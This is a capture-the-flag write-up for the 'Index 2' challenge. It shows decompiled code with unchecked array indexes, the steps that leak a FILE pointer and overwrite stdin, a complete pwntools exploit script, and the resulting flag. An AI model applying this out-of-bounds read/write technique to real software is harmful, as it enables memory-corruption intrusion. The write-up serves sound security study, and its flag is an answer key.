ctf-writeups

Index 2

Co-authors: @Rosayxy

This time, you get the file pointer, not the flag itself.

Decompiled code via Ghidra:

undefined8 main(undefined8 *param_1)
{
  int iVar1;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  do {
    while( true ) {
      menu();
      fgets(local_78,100,stdin);
      iVar1 = atoi(local_78);
      if (iVar1 < 5) break;
      if (iVar1 == 0x539) {
        f = fopen("flag.txt","r");
      }
    }
    switch(iVar1) {
    case 0:
      printf("Invalid choice: %s",local_78);
      break;
    case 1:
      store_data();
      break;
    case 2:
      read_data();
      break;
    case 3:
      print_flag();
      break;
    case 4:
      puts("Bye!");
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
  } while( true );
}


void read_data(void)
{
  int local_c;
  
  printf("Index: ");
  __isoc99_scanf(&DAT_00102041,&local_c);
  getchar();
  printf("Data: %s",nums + (long)local_c * 8);
  return;
}


void store_data(void)
{
  long in_FS_OFFSET;
  int local_1c [3];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Index: ");
  __isoc99_scanf(&DAT_00102041,local_1c);
  getchar();
  printf("Data: ");
  fgets(nums + (long)local_1c[0] * 8,8,stdin);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Steps:

1. open flag.txt and save FILE * to f variable
2. use out of bounds read to read f in read_data: flag is at 0x1040a0, nums is at 0x104060, so index is (0x1040a0-0x104060)/8=8
3. override stdin to f: nums is at 0x104060, stdin is at 0x104030, so index is (0x104030-0x104060)/8=-6
4. then the program finds data read from stdin invalid in fgets(local_78,100,stdin);iVar1 = atoi(local_78);, and prints out its content via printf("Invalid choice: %s",local_78);
5. get flag

Code:

from pwn import *
elf = ELF("./index-2")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch='amd64', os='linux', log_level='debug')

p = remote("play.scriptsorcerers.xyz", 10022)
#p = process("./ld-linux-x86-64.so.2 ./index-2", shell="True")
p.sendline("1337")
p.sendline("2")
p.recvuntil("Index")
p.sendline("8")
# get f addr
data = p.recvline()
addr = data.split()[2][:-2]
print(data, addr.hex())
# point stdin to f
p.sendline("1")
p.recvuntil("Index")
p.sendline("-6")
p.recvuntil("Data")
p.sendline(addr+b"\x00"*2)
p.interactive()

Get flag:

Invalid choice: scriptCTF{4rr4y_OOB_l3v3l_up!_a1cfd21b2bbd}
1. Store data
2. Read data
3. Print flag
4. Exit

Credits to @Rosayxy.